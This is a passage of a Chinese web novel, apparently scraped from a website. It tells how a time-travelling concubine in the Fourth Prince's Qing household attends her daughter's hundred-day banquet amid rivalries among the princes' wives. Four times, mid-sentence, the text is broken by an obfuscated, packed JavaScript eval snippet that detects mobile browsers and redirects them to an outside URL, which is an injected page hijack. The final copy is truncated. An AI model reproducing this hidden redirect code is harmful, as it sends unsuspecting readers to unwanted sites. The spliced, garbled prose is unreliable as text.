不过当时还属于过年期间,福晋和四爷都不在府里,宋时繁也不想铺张,而且她一个格格在自己院子里摆宴,显得她多张狂似的,所以宋时繁到底还是把这一项给省略了。 她原以为四爷之前也就是那么一提,不成想现下竟然又问起了。 宋时繁只好道:“嗯,是还没办,不过已经过了,要不还是等周岁的时候...” 不等宋时繁把话说完,四爷就打断了她:“周岁自然还有周岁要置办的宴席,百天也才过了几天倒不妨事,正好爷这几日空闲,就后日吧,在府里摆一场宴,给大格格庆贺百天。” 宋时繁有些迟疑:“这样是不是太麻烦了...” 四爷有些不赞同:“麻烦什么,难道你不看重咱们大格格不成?”若宋氏当真觉得大格格是个女孩,心里就不重视了,四爷肯定是要失望的。 “庆贺当然还是想给大格格庆贺的,可福晋还病着呢,若要摆宴,怕是要麻烦福晋了...”宋时繁思索着道。 幸好,四爷见宋时繁语气里并没有一丝一毫不喜欢大格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13117412|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格的意思,只是为人过于小心谨慎了而已,他这才放下心来。 “这有何妨?只是小宴,不废什么功夫,再叫苏培盛看顾着些便也是了,回头爷亲自去与福晋说,你不用担心了。” 宋时繁听四爷已经安排妥当了,便也不再扫兴,毕竟四爷这会是在替大格格考虑呢,她也不能太不领情,于是宋时繁对着四爷福身笑道:“那奴才就替大格格谢谢阿玛啦。” 这句话经宋时繁的嘴说出来,甜丝丝儿的,四爷听到后心都跟着颤了颤,看着眼前笑吟吟的宋时繁,四爷的眼神暗了暗。 真想现在就将这勾人的小格格给哄到床上去啊! 不期然的,四爷又想起之前临时起意把小格格办了的那一次,四爷也搞不懂,明明孩子都给他生了,怎么这小格格还是那么的...纯情,光想想四爷都觉得有些激动。 不过现下还是大中午的,没有这时候做那种事的道理,四爷只得将心思放了放,但他已经打定主意今晚要在宋时繁这里留宿了。 此时的宋时繁正拿着一个小布老虎逗大格格玩,完全不知道对面的四爷已经在幻想怎么把她吃拆入腹了。 当然,就算宋时繁知道了,她也不好说什么,毕竟这算是她现在的一项工作内容嘛,宋时繁还是很能想得开的。 而另一头看得见吃不着的四爷只好先说点儿别的转移转移自己的注意力,碰巧他听见宋时繁跟大格格玩闹的声音。 “大格格,来看这边,这是什么呀?小老虎是不是呀~” “一直叫大格格也不方便,现在大格格还小,也不能起正经名字,不如起个小名儿让你叫?”四爷提议道。 宋时繁闻言当然乐意,她早就觉得“大格格、大格格”的叫着很别扭了,就跟不是在喊自己孩子似的。 她原本也是想给大格格取个名字的,可白薇说大格格的名字得等四爷取了赐下来才行,她不能擅自决定,好吧,谁叫她是个没人权的妾室呢。 不曾想今天四爷竟主动提起这茬来了,宋时繁怕四爷变卦,忙应声道:“那敢情好,爷快给我们大格格想个好名字。” 四爷思索了会儿才缓缓开口:“就叫狸奴吧,大格格身子弱气,名字不敢取太大了,怕她压不住,而且既是小名,叫这个也无伤大雅。” 宋时薇闻言皱了皱鼻子:“狸奴?有点绕口呀,这不就是小猫儿的意思吗?依我看还不如叫咪咪呢...” 四爷听宋时繁在哪儿嘀嘀咕咕的,有些哭笑不得:“咪咪?什么怪名字?难登大雅之堂!” 宋时繁却来劲了:“咪咪才不怪,多可爱呀,这也是小猫的意思,不比那个劳什子狸奴顺口多了?四爷,就叫咪咪吧,行不行?”说到激动处,宋时繁甚至还下意识拽着四爷的袖子摆了摆。 四爷突然见到宋时繁像撒娇一样的姿态,也忘了自己要说什么了,自然而然便顺着宋时繁的话开口道:“那就...咪咪...也行吧...” 说完四爷都想捂脸了,天,爷怎么这么轻易就被她给绕跑偏了? 不过话都已经说出来了,四爷也不会再纠结就是了。 只听那头宋时繁得到四爷的准话已经喊上了。 “咪咪~小咪咪~喜不喜欢你的新名字呀?” 没成想大格格这时候竟然笑了起来,宋时繁顿时激动了:“四爷快看,她笑了,咪咪喜欢这个名字呢。” 四爷见状也有些高兴,既然娘两个都喜欢,那就叫咪咪吧,总归是小名,旁人也不会知道了去,应该没什么大碍吧? 31. 百日宴 这日是四爷定下给大格格办百天的日子,一大早,府里就预备起来了。 四爷有心为大格格操办,再加上如今四爷还算得康熙爷的青眼,旁的阿哥们也都乐意来给四爷捧个场。 只除了直郡王和太子要在圆明园里陪着康熙爷。 其余三阿哥、五阿哥、七阿哥都带着家眷来了,八阿哥、九阿哥、十阿哥也跟着来凑热闹,余下的阿哥们年纪太小,还不被允许出来呢,不过,就这场面已经够隆重的了。 当然,宋时繁是看不见外头如何的,都是曹三宝出去打听了回来学给宋时繁知道的。 “格格您不知道,外头热闹着呢,府里还叫了京城有名的杂耍班子来,正叮叮咣咣演着呢,福晋也一大早就起来迎客了,这会子带着各家的福晋们在花园子里头坐呢,估摸一会儿就要摆宴了...” 曹三宝虽然年纪小,但鬼灵精得很,出去转悠一圈便将外面的情况摸得透透的,连说带比划地讲给宋时繁听,绘声绘色极了,把个宋时繁看得直乐。 竹苓见状在一旁凑趣道:“格格您快瞧三宝子那个得意样儿,贫嘴贫舌的!” 众人闻言都笑了,曹三宝也跟着嘻嘻哈哈的。 倒是宋时繁紧跟着问了一嘴:“你说福晋在外头迎客?不是说福晋病了吗?” 曹三宝知道宋时繁问得是正事,忙收敛了神色回答道:“回格格的话,主子爷倒是交代了一句,说福晋还病着,今儿也没外人,就是兄弟几个,也算家宴,不用太操劳,可福晋只说不能失了礼数,仍是一早就起来了。” 宋时繁点了点头,叫白薇拿了一盒果脯给曹三宝:“拿去甜甜嘴儿吧,你今日跑来跑去也辛苦了。” 曹三宝欢天喜地接下了:“多谢格格赏赐,那奴才先告退了。”说罢,带着果脯下去和其余人分着吃了。 眼见着曹三宝出了屋子,宋时繁才对着白薇和竹苓二人幽幽叹了一口气:“这次倒是因着我的缘故,叫福晋累了一遭,怕是...” 白薇在一旁柔柔劝道:“格格您别这么想,府上既要办宴,合该福晋操持的...这哪能怪到您的头上来?” 宋时繁摆了摆手:“罢了,事已至此,多想无益,咪咪呢?” 竹苓接话道:“大格格已经收拾好了,就等着开宴的时候抱出去给众人看了。” “先抱来我这里吧,时辰还早,我陪咪咪玩会儿。”竹苓领命出去了。 宋时繁想得简单,咪咪自出生到现在还是第一次见外人呢,而且一次就要见上这许多人,也不知道会不会被吓着,所以她先陪着咪咪玩会儿,消耗消耗精力,兴许到时候咪咪就没劲儿害怕了呢? 当然,这是最理想的状况,也许咪咪见着生人保不齐还是会被吓哭,不过咪咪还小,那些皇子阿哥们应该也不会跟小孩子计较什么吧... 宋时繁还是有些担心,唉,可惜她身份太低,按理来说没法子出门见客,不然她在旁边看着点儿,旁的不说,她自己都能安心些。 正思索着,大格格被奶娘抱进来了,只见大格格被打扮得跟个年画娃娃似的,脖子上还挂了个小金项圈,上头坠着个平安锁。 宋时繁一见就笑了:“这是哪儿来的小金锁,她这么小能戴这个?不压脖子吗?” 奶娘赵氏笑吟吟道:“是一早苏公公送来的,说是主子爷特意去外头专门给大格格打的,奴才瞧着好看,便给大格格挂上了,今儿是大格格的好日子,只带着出去见客,回来还摘了收起来,想是不妨事的。” 宋时繁闻言伸手掂量了一下小金锁的重量,倒不算沉,摸起来也挺光滑,想必四爷也是考虑过的。 她又瞧着这枚平安锁做工精巧得很,便也松了口:“还行,不重,那就叫咪咪戴一会儿吧,只是有一条,回来的时候一定想着摘了,小孩子皮肤嫩,若是磨着了可不好。” 说罢等奶娘应下,宋时繁才不再纠结此事,而是转头跟大格格说起话来。 宋时繁从不将大格格当成什么都不懂的小孩子,虽然大格格才三个月大,但宋时繁常常抱着大格格说话,也叫奶娘们没事就和大格格说说话。 这样一方面可以潜移默化地锻炼小孩子的语言系统,另一方面也能增加小孩子的安全感。 毕竟宋时繁知道,就算是初生的婴儿,都是能够感知到外界一些东西的,比如大格格现在已经能认出她来,这就是一个很好的证明。 当然大格格现下还说不出什么来,只是听见宋时繁跟她说话的时候,大格格也会跟着咿咿呀呀的,可宋时繁说一句,大格格就应一声,倒真像两人在对话似的。 这头,母女两个好一番亲热,外头的宴会也是如火如荼。 四爷这边倒还好,男客们都是他自己的兄弟,虽说不是一个额娘生得,但这时候上头有太子爷坐镇,康熙爷也没有生出动储君的心思来,不涉及到皇位的争夺,下面的弟兄们还是很和谐的。 于是,这会子四爷并其余兄弟几人便亲亲热热地坐在一起喝酒,就连几个小的都跟着喝了一杯。 倒是福晋那边一众女眷们的气氛颇有些紧张。 福晋之前累病了还没修养好,但这种时候她又不想缺席,否则叫旁人见了,还只当她这个四福晋担不起事来呢。 所以别看福晋表面上妆容妥帖,面色红润的样子,实则内里都靠着一口气强撑着在应付她的这几位妯娌呢。 好在今日来的女眷不算多,福晋还能周旋过来。 只是妯娌间免不了有一些言语机锋,又都是皇家妇,出身高贵,身份上倒差不多,所以谁也不肯让着谁,倒是为难了福晋这个做东道主的。 三福晋出身公爵之家,又仗着今日直郡王福晋和太子妃都没到,自觉自己是妯娌间最大的,便很有些要做众人主的意思。 只听三福晋对福晋道:“不是我说你,你同四弟大婚也有段日子了,怎得还叫个格格爬上来了,瞧瞧今日这排场,不知道只当生了个多金贵的,就是个丫头片子罢了。” 这话太难听了,当下,福晋就有些挂不住脸,心说这个三嫂,向来是混不吝的,这种时候还什么话都往外冒,简直是诚心给她难堪。 福晋也不是忍气吞声的人,再说了关起门来怎么样那是自家人的事,犯不着让旁人笑话了去。 于是她也绵里带针地顶了一句:“三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152233|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫂这话不对,大格格再怎样都是我们四爷的血脉,至今府上可只她一个孩子呢,就是我都疼得跟眼珠子似的,她生母也懂事,从没有对我不敬的意思,怎么话到三嫂嘴里就变了味儿了?” 三福晋没成想四福晋这个做弟妹的脾气还挺硬,竟直接跟她顶起来,她也不想想,她上别人府做客,嘴里却没一句好话,这谁受得了? 但三福晋可不考虑这些,她自觉失了面子,当即便道:“哼,如此说来,四弟妹府上还真是妻妾和乐呢,我们四弟是个有福的,有四弟妹这样贤惠大气的女子来做福晋,可真是坐享齐人之福啊。” 眼见着三福晋越说越过分,福晋也不甘示弱:“我可不敢跟三嫂比贤惠,听说三哥前两日请封了个侧福晋,是府上从前的格格田氏吧?三嫂今日怎么也不把她带来?咱们可都没见过呢,别是三嫂心疼田侧福晋,舍不得带出来见人吧?” 这话真真是戳到了三福晋的肺管子了,三福晋气得脸色都有些变了。 还是一旁的五福晋见场面太难看怕不好收场忙出来打圆场道:“两个嫂嫂都是贤惠的,瞧四嫂把四哥府上打理得多好,我这个做弟妹的可要赖着嫂嫂们学一学怎么治家才行了。” 五福晋夹在中间也只能两头说好话,好在她向来是个八面玲珑的性子,福晋也愿意卖她一个面子,而且今日毕竟是自家摆宴,不能再继续闹下去了,她便顺着五福晋的话道:“五弟妹过誉了。” “四嫂别谦虚,今日这宴席办得多热闹呀,可见四嫂管家自是有一套本事的,我们爷也叫我没事多跟着嫂子们后面,说是学了总有我的好处呢。”五福晋笑吟吟道。 福晋这会子才真心笑了出来:“那赶明儿我下帖子找你喝茶,你可不要推辞,别到时再说我这个嫂子故意拿大啊。” 一旁的三福晋见她们二人你唱我和的,显然不打算继续刚才的事,她嘴唇嗫嚅了下,到底顾念着不是在自家府上,再继续纠缠下去也不会有什么好结果,只得住了口。 七福晋倒是一直没说话,她刚嫁进来,七阿哥又是个天生腿部带残疾的,眼见着是不会有什么好前程的,她还是低调点儿得好。 而且眼前几位都是她的嫂子,她是妯娌间最小的,所以从刚才开始,七福晋只管喝茶吃点心,丝毫不敢参与进嫂子们的争锋里。 过了一会儿,皇子们那边起哄叫四爷将大格格抱出来看看。 “四哥还不快把小侄女抱出来给我们哥几个见见?” “就是,我可给小侄女备好礼了,不见着人怎么送呀!” 最小的九阿哥并着十阿哥在四爷耳边不停闹腾,吵着要见小侄女。 他们几个小的还没大婚,别说有孩子了,就连自己还是个孩子呢,这会子自然对四爷的孩子充满了新奇。 四爷笑骂道:“瞧瞧你们这猴急样,回头再吓着我的大格格。” 福晋见状正准备差人去把大格格抱来,却听四爷突然发话道:“福晋,派人去叫宋氏带着大格格过来一趟吧。” 福晋闻言愣住了,一时间差点儿没反应过来。 不是,她没听错吧?连宋氏也要叫来?四爷这是什么意思? 32. 小嫂子 消息传到宋时繁这里的时候,宋时繁也惊了。 “姑娘可听清楚了,是叫我带着大格格去吗?”宋时繁有些疑惑。 福晋派来传话的芸香仍是挂着那副弧度完美的笑容,不过现下细看,却颇有些皮笑肉不笑的意味。 只听她对宋时繁道:“是呢,奴才听得真真儿的,宋格格快预备起来吧,主子爷等着呢。” 宋时繁见她这样一时间有些讪讪的:“我这...本来也不知道要去,也没收拾,不若叫奶娘们抱着大格格去前头吧...” 宋时繁不明白宴席上到底发生了什么变故,但看现下这种情况绝对对她没好处就是了,她可真心不想去淌这趟浑水啊。 “既是主子爷发了话的,宋格格是一定要去的,宋格格还是不要为难奴才了。” 说罢,芸香直接将头低了下去,做出副全心等待的样子,总之是不肯给宋时繁留下拒绝的余地。 宋时繁看着芸香的头顶心中感叹道: 这都叫什么事啊! 可事已至此怕是不去也不行了。 宋时繁只得挤出个笑来对着芸香道:“那就烦请芸香姑娘稍微等会儿了,容我去换身衣裳先。” 芸香应了声是,便自觉退到了门外等待。 屋内,剩下宋时繁和白薇、竹苓三人面面相觑。 宋时繁有些无奈:“唉,还愣着干嘛,快帮我更衣,若是去迟了,不知道还有什么事等着呢!” 白薇听见这话忙去柜子里找衣裳,竹苓则上前帮着宋时繁整理发髻, 好在今日宋时繁起来的时候便梳好了头发,现在只需搭配两件首饰就行了,否则现梳发髻肯定是来不及的。 竹苓帮宋时繁戴上耳坠子后,看着铜镜里自家格格过分白皙的脸颊,有些忧虑道:“格格,您要不还是上点妆吧?” 宋时繁对着镜子皱了皱眉头:“时间不够了,还是算了吧,再说了,今天这种场合我一个格格盛装打扮的也不像话,本来叫我去前面就已经是不合规矩,回头再招了福晋的眼,以后咱们的日子就更不好过了...” 不过宋时繁自己也觉得脸确实太白了,显得十分病态,看着就不健康。 于是,她自己用手沾了点儿口脂抹在嘴唇上,又将余下的胭脂往脸颊上蹭了蹭,以免脸上的颜色太过苍白,再显出憔悴来。 弄好以后宋时繁对着镜子照了照,现下看着总归不会失礼于人前也就是了。 主仆三人好一通手忙脚乱,终于是收拾妥当了,宋时繁道:“大格格的奶娘去一个抱着孩子就好,再就是...竹苓跟我一道吧。” 本来只打算她跟竹苓去,可大格格要人抱,她自己抱不了,否则衣服弄皱了就没法见人了,这时候衣裳的布料可不如现代的经造。 奶娘赵氏闻言忙将大格格抱在怀里,跟在了宋时繁的身后,宋时繁见准备得差不多了,便扶着竹苓的手出了屋子。 “抱歉,叫芸香姑娘久等了。”宋时繁对芸香笑着解释了一句。 彼时,芸香见宋时繁出来,便装作不经意的样子先用眼神将宋时繁略微打量了一番。 只见宋时繁身穿粉缎棉袍,外头套了一件浅绿色大襟毛领坎肩,头上的首饰也多是以银饰为主,就只有耳朵上戴了一对珊瑚耳坠子,这还是前些日子福晋赏下来的,妆容看着也清淡,并没有出风头的意思。 芸香不觉在心里点头,暗道这位宋格格还算是安分,没有觉着主子爷让她去前头见客便不庄重起来。 思及此,芸香也露出一抹笑意来:“宋格格哪里话,既然宋格格好了,那咱们就往前头去吧,主子们都等着呢。” 宋时繁闻言,略一点头便迈开步子,跟在了带路的芸香身后朝宴席的方向走。 到了地方,宋时繁先去了女眷那边跟福晋请安。 “奴才给主子福晋请安,主子福晋吉祥,给各位福晋们请安,各位福晋们吉祥。” 请个安差点咬到舌头,所幸宋时繁嘴皮子还算利索,没当场吃个螺丝,再闹出笑话。 福晋这个时候倒显出十万分的和蔼来,冲着宋时繁笑道:“起来吧,快别多礼了!你也是,总这样守着礼数。” 宋时繁知道这是福晋在外人面前跟自己客套呢,当然不会当真,于是她又福身谢了恩,然后才站起身来。 刚直起身子就听福晋开了口:“把大格格抱来我瞧。” 宋时繁示意奶娘上前,奶娘便抱着大格格走到了福晋身边,因大格格还小,奶娘便替大格格请安。 “大格格给嫡额娘请安了。” 福晋伸手虚虚扶了一把:“怀里抱着孩子呢,小心点儿。”可谓是将关心妾室,疼爱子女的贤惠正室一角演绎得淋漓尽致。 不过,福晋只是用手轻轻搭了搭奶娘的胳膊,却并没有要抱孩子的意思,而是略向前伸头看了眼奶娘怀里的大格格。 “瞧我们大格格这小模样长得,以后定是个小美人。”福晋笑着对其余几位福晋道。 众人都很捧场,跟在福晋后面夸起了大格格。 “是呢,这孩子长得白净,看着就招人喜欢。”五福晋先接的话。 五阿哥的府上已经有了长子,不过是侧福晋刘佳氏的孩子,如今刘佳氏肚子里又揣上了一个,反倒是五福晋自己至今还没有生育。 虽然她也想要一个孩子,奈何一直怀不上,所以这会子五福晋看着大格格也是妾室生出来的庶长女,心里便有些喜欢不起来,不过她面上倒没有显出什么来,而是跟着客套了一句。 七福晋则是因为刚跟七阿哥大婚不久,府里还没有孩子,所以她看着大格格小小一团儿的样子倒真觉得有些新奇。 关键大格格头回见到这么多陌生人也不哭也不闹的,只睁着一双澄澈的眼睛看来看去,甚至还吐了个泡泡,把七福晋逗得直笑。 “这孩子可真是可爱啊!”七福晋不由自主道。 福晋闻言打趣七福晋:“瞧把七弟妹眼馋的,若是七弟妹当真喜欢,也同七弟生个小侄子出来。” 七福晋立马就红了脸:“四嫂这叫什么话...” 五福晋在一旁跟着凑热闹:“哎哟哟,我们七弟妹还害羞呢,你这才刚跟七弟大婚就着急上了?放心吧,明年你和七弟准保生个大胖小子了。” 新媳妇哪儿经得起这样调侃,五福晋话音刚落,七福晋已经臊得拿帕子挡住脸了:“嫂子们不带这么欺负人的...” 倒是三福晋刚刚就被弟妹们下了面子,这会又看旁的妯娌都其乐融融,倒全都把她给忘记了,她那张嘴又管不住了:“就是啊,七弟妹快抓抓紧吧!可别到时候叫庶子生到前头去了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152234|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再叫你没脸。” 三福晋府上已经有三个阿哥了,其中大阿哥和三阿哥都出自三福晋,唯有二阿哥是田氏所生,虽说田氏因此被三爷请封成了侧福晋,很是恶心了三福晋一段日子。 但这会三福晋觉得下面的妯娌们都不如她有孩子傍身来得体面,心下自得,说话便忍不住带上刺了。 可她这话却捅了其他几人的肺管子。 七福晋还好,福晋和五福晋真是被气坏了。 福晋本身就为着子嗣犯难,府上得宠的李氏又有孕,四爷还有新宠,她本人的心里甭提多着急了。 五福晋则更不用说了,她府上庶子可是已经生出来了,还是侧福晋之子,三福晋这样说简直是拿刀往她心窝子里捅。 当下,五福晋就有些挂不住脸,福晋的态度也冷淡了下来,七福晋见状不敢说话,三福晋后知后觉地意识到自己把人都得罪光了,便也住了嘴,气氛霎时间有些尴尬。 彼时,站在旁边看了好一场大戏的宋时繁心都跟着颤了颤。 妈呀,这刀光剑影的,幸好没劈到她身上来。 这时候的宋时繁无比期望能有一个人救救她,最起码别让她继续待在这儿了,实在太吓人了。 所幸,四爷那边让苏培盛来叫宋时繁过去:“给宋格格请安,主子爷叫您抱大格格往那边去呢。” 宋时繁差点给苏培盛跪下,来得真是太及时了,简直救她于水火。 得了四爷话的宋时繁忙去看福晋,这会福晋的面色倒是缓和了些,她对着宋时繁点了点头:“你快带着孩子去吧,别叫爷等。” “那奴才就先告退了。”说罢,宋时繁都没敢停顿,带着竹苓就往外退。 因今日来的是四爷的兄弟们,女眷也都是成了家的,不必太在乎男女大防,所以男客席和女客席隔得不算十分远,只是在湖的两边分别设了宴。 现下,宋时繁正跨过湖面上的小桥朝四爷那边去。 远远的,就听见那边的宴席传来吆喝着劝酒的声音,宋时繁心说,原来古时候人也喜欢劝人喝酒,看来酒桌文化还真是源远流长啊。 没走两步,宋时繁到了。 四爷眼尖,早就瞧见了款款走来的宋时繁,等宋时繁到了近前他才开口:“宋氏来啦。” 宋时繁应了声是,然后福身行礼:“奴才给各位爷请安了,各位爷吉祥。” 等四爷叫起后,宋时繁便静静垂首立在一旁,这种时候她还是老老实实装死比较靠谱。 只见一个半大小子先跳了起来,约莫才十岁出头的样子,朝抱着大格格的奶娘走了过来:“快让我这个做叔叔的瞧瞧小侄女长得什么模样” “十弟你性子也太急了,还怕跑了不成?”说话的是坐在四爷旁边的人,看着最年长,约莫就是三爷了。 宋时繁心下好笑,原来这是十阿哥啊,他自己都是个孩子呢,竟还作出一副长辈的样子来,真是有意思。 想到这里,宋时繁悄悄抿了抿嘴,将笑意掩藏了起来。 不想还是被十阿哥看见了,“哎?小嫂子,你笑什么呢?” 宋时繁闻言差点吓死,这十阿哥莫非是熊孩子?初次见面就想害死她不成? 好在四爷当即便沉了脸道:“十弟你胡说八道什么呢?” 四爷是真有些生气了。 33. 难过美人关 四爷原本喊宋氏过来也不为别的,就是觉这是大格格的百日宴,若宋氏这个做亲额娘的都不能出席,也太委屈她了,这才叫她来。 而且今日尚且算是家宴,来的都是他的兄弟们,叫宋氏出来见见人也不算太出格。 可若是因此叫旁人折辱了她,哪怕是自己的弟弟,四爷也是不允许的。 到底是他的女人呢,没得叫外人轻薄了去的道理。 十阿哥也反应过来自己刚刚说错了话,毕竟小嫂子这种称谓实在是有些轻浮了,不是他该喊的。 再说了他这位四哥从小就是个冷漠的,发起脾气来沉着一张脸简直能冻死人,他可是一万个不敢招惹他四哥的。 但这事十阿哥也不好解释,总不能叫他去跟个格格赔礼道歉吧?那算什么事儿呀! 于是,十阿哥只得对着宋时繁歉意地笑了笑,然后将话题转移到了大格格身上。 “这就是小侄女?怎么这么小呀?也看不出长得什么样子嘛...”十阿哥瞧着奶娘怀里的大格格,嘴里嘟囔了一句。 八阿哥的性子最是长袖善舞,也知道方才十弟闯了祸,这会子正往回找补呢。 他便琢磨着要帮十弟解围,因此,八阿哥顺着十阿哥的话凑上前打趣道:“十弟怕不是还以为自己小时候多好看呢?” 十阿哥闻言有些不服气,虽说他已经不记得自己小时候长什么样,可嘴上却不肯服输:“哼,想必十分英武!” 五阿哥见状啐了一口,笑着调侃十阿哥:“呸,十弟小时候瘦得跟个黑猴似的,却比谁都能吃,有次咱们兄弟几个去给皇祖母请安,十弟瞅着皇祖母桌上的芙蓉糕就不肯挪窝了,后来还把一整盘的芙蓉糕都吃光了才算,把皇祖母给吓的,生怕十弟撑坏了。” 众位阿哥闻言都笑了。 十阿哥显然也想起此事来,脸“腾”地一下就红了。 十阿哥这会还是个半大小子呢,正好面子的时候,哪能受得了自家哥哥当众揭他的短,急得他在一旁直叫唤:“五哥你别胡说八道...我哪有...”说着说着,声音却越来越小。 五阿哥见状笑道:“哟,咱们十弟长大了,都会害臊了。” 宋时繁在一旁听见这话,心说这五阿哥和五福晋还真是一个被窝里出来的一家人,说出来的话都差不多,不过宋时繁这会可不敢再笑,只放心里想想就算了。 另一头,十阿哥生怕五阿哥继续嘲笑他,也顾不上要看心心念念的小侄女了,忙端起杯酒往五阿哥的嘴边送:“五哥你还是喝酒吧!” 两人当即玩闹了起来,气氛一时间倒是缓和不少。 宋时繁这才悄悄松了口气,但心里不敢松懈,面上仍是带着些紧张。 毕竟谁也不知道这几位皇阿哥等下会不会又抽风,再殃及到她身上,她还是加点儿小心得好。 毕竟,宋时繁可不想回去以后又等来福晋一顿罚,之前那二十遍心经她才刚抄完! 一旁的四爷见宋时繁将个小拳头死死攥着,袖口都拉皱了,心下有些好笑,这宋氏怎地如此胆小? 好在四爷也知道今日是有些为难宋时繁了,便走上前轻轻拍了拍宋时繁的手背,然后对着宋时繁道:“好了,你先回去吧,等晚上爷再去瞧你。” 宋时繁心道可算解脱了,生怕再出事端,忙福身行礼:“多谢主子爷,奴才告退。”说罢,带着大格格就退下了。 四爷见宋时繁近乎逃跑一样地溜走了,不觉笑着对苏培盛道:“你去,送送她!再...再送点儿赏赐到她那,今儿吓着她了。” 苏培盛忙应下,跟四爷告退之后,就马不停蹄去追宋时繁了。 倒是四爷,在原地站了会,直到苏培盛也走没影儿了,这才往宴席上走。 四爷刚一坐下,就听五阿哥道:“从前见四哥都是一派严肃的正经模样,没成想今日来赴宴倒叫弟弟我刮目相看了呀...” 最后几个字,五阿哥还特意拖了长音,摆明了笑话四爷呢。 四爷冲着五阿哥一挑眉,语焉不详道:“五弟这话说得哥哥不明白。” 五阿哥闻言朝着四爷郑重其事地摆了摆头,然后长叹一声,却不肯说话了。 一向闹腾的九阿哥和十阿哥不依了,吵着要五阿哥解惑:“五哥卖什么关子呀,到底什么意思?” 五阿哥扫了席上众人一眼,“噗嗤”一声笑出来:“唉...咱们四哥那是英雄难过美人关啊!” 被弟弟调侃成这样,四爷再装不下去,轻咳了两声掩饰自己的尴尬:“老五你都多大了,还这样促狭!” 言毕,四爷又假装什么事也没发生的样子,端起酒盅满饮了一大杯。 由此可见,人在尴尬的时候确实会装作很忙碌的样子,不过,四爷耳朵上的一抹暗红却偷偷出卖了他。 倒是坐在四爷身边的三爷瞧出了些许异样,三爷心说,还真少见老四这样,倒是有趣。 于是三爷道:“老四宠个格格,也值当你们这样笑话?殊不知轮到你们娶了媳妇儿以后,怕不是比老四还要晓得心疼女人呢。” 三爷是个万花丛中过片叶不沾身的,府里姬妾不少,侧福晋都已经立了两位了,这会子见弟弟们一个个还不晓事,不觉好笑,便将话往偏了聊。 四爷有些不赞同:“三哥,他们几个还小呢,别说这个。” 三爷浑不在意道:“小什么呀,瞧下面这几个,翻过年再选秀的时候,皇阿玛就要给他们指福晋了,哎!要不要你们三哥去帮着求求皇阿玛,先给你们指两个格格,别到时福晋进了门,你们还什么都不懂,那可就闹笑话了!” 有了三爷这个情场老手在,话是越聊越荤,好在只有他们爷们儿家在,倒是不顾及这些,什么混话都捡来说,当然,在这种情况下,酒肯定也是越喝越多的。 因此,四爷这个做东道的,就不可避免的喝多了。 宴席散了以后,四爷强撑着和福晋送完客,人都有些摇摇晃晃了。 福晋见四爷醉得厉害,按理这种时候,合该她这个做嫡福晋的来照料主子爷。 因此福晋便想带着四爷回正院里歇息,可福晋不曾料到的是,四爷还没完全醉倒。 只见四爷缓了一会儿后,才慢悠悠对福晋道:“福晋今日辛苦了,你身子也不爽利,早点儿回去歇着吧...” 福晋有些讶然:“爷不跟着一块儿歇息吗?” 其实按照四爷以往的性子,喝多了在哪歇不是歇? 可他刚才正要应下福晋的时候,却莫名想起先前宋氏离开的时候,他答应了晚上要去看她,他这个做爷的总不好食言而肥吧? 没错,只是因为先前承诺宋氏了而已,根本不是因为他现在只想见宋氏。 四爷在心里默默为自己找借口。 不过福晋还是要安抚好的,于是四爷笑着对福晋道:“爷醉得厉害,就不打扰福晋了,不然福晋还得跟着照顾,到时两人都休息不好。” 话音刚落,四爷就被苏培盛搀扶着离开了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152235|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >等四爷背过身去的时候,福晋还听见四爷吩咐了苏培盛一声,“去宋氏那里...” 福晋看着四爷离去的背影,下意识咬要住了唇瓣,心里不知什么滋味儿。 难不成在她那儿休息不好,到宋氏那儿就能休息好了? 一旁,吴嬷嬷有些担忧地看着福晋,小心翼翼喊了一声:“福晋...您...” 福晋却没应声,只死死盯着四爷离去的方向,不肯动。 吴嬷嬷见状心下着急,生怕福晋就此消沉下去,忙劝道:“福晋,您别跟那起子不值当的人置气,没得气坏了您的身子,主子爷只是...只是顾及大格格的面子这才宽待宋氏两分,今儿到底是大格格百天呢,主子爷就是去了宋氏哪里也说明不了什么...” 